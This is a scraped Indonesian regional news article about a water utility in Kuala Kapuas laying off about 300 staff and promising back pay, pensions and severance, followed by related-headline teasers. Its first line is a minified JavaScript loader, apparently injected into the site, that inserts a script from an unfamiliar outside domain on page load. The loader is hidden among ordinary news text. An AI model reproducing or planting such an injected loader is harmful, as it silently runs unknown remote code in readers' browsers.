(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN. COM, KUALA KAPUAS – Pasca pengumuman hasil tes assesment karyawan PDAM Kuala Kapuas, Jumat (21/1/2022), karyawan yang dinonaktifkan dijamin akan tetap dipenuhi hak-haknya.
Surat pengumuman bernomor UM.01.11/Perumda Tirta Pembelum/84/2022 tertanggal 21 Januari 2022, diumumkan nama-nama karyawan baik yang berstatus tetap, calon pegawai maupun tenaga kontrak tidak dengan serta merta kehilangan hak-haknya.
Dalam pengumumannya itu, ada terdapat calon pegawai (Capeg) dan tenaga kontrak yang dinyatakan lulus dan masih akan melanjutkan kembali bekerja di PDAM Kuala Kapuas.
Pjs Direktur PDAM Tirta Pambelum Kapuas, Kristanto Suryadhi, Sabtu (22/1/2022) menyampaikan, untuk para karyawan yang dinonaktifkan, PDAM Kapuas akan memenuhi kewajiban perusahaan atas hak-hak para karyawan yang dinonaktifkan.
Baca juga : Binda Kalsel-Puskesmas Haur Gading Vaksinasi Anak di SDN Sungai Limas
Pjs Direktur PDAM Tirta Pambelum Kapuas, Kristanto kepada Kanalkalimantan.com, karyawan yang melanjutkan hanya 146 orang, kurang lebih 300 orang dinonaktifkan.
Menurut Kristanto, nama-nama karyawan berjumlah 146 yang lolos termasuk juga karyawan lama dan karyawan baru, ada yang berstatatus Capeg, pegawai tetap maupun karyawan kontrak.
“Sekali lagi saya berharap kawan-kawan mau menerima kondisi dengan lapang dada, karena memang kondisi perusahaan sangat sulit untuk berkembang. Kalau rasionalisasi ini tidak dilakukan maka perusahaan akan kolaps. Jika kolaps maka akan kesulitan melayani masyarakat, itu yang paling utama, jadi saya mohon kawan-kawan bisa legowo menerima hal ini,” ujar Kristanto.
Hak karyawan tersebut diberikan kepada pegawai perusahaan, calon pegawai, dan pegawai kontrak, adalah sebagai berikut :
1. Tunggakan gaji sampai dengan bulan Januari 2022
2. Dana pensiun melalui Dana Pensiun Bersama (DAPENMA)
3. Iuran BPJS Kesehatan
4. Iuran BPJS Tenaga Kerja/astek
5. Pesangon dengan ketentuan yang berlaku.
Baca juga : Si Madu Hitam, Lebih Pahit Tapi Ini Manfaatnya
“Dalam penyelesaian hak tersebut akan dibayarkan secara bertahap dimulai Februari 2022, sesuai dengan kondisi keuangan perusahaan,” tegas Kristanto.
“Apabila masih ada pertanyaan terkait hal tersebut, maka dapat ditanyakan kepada Bagian SDM Kepegawaian PDAM Tirta Pambelum Kabupaten Kapuas pada jam kerja,” tandas Pjs Dirut PDAM Kapuas, Kristanto Suryadi. (kanalkalimantan.com/ags)
Reporter : ags
Editor : kk
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.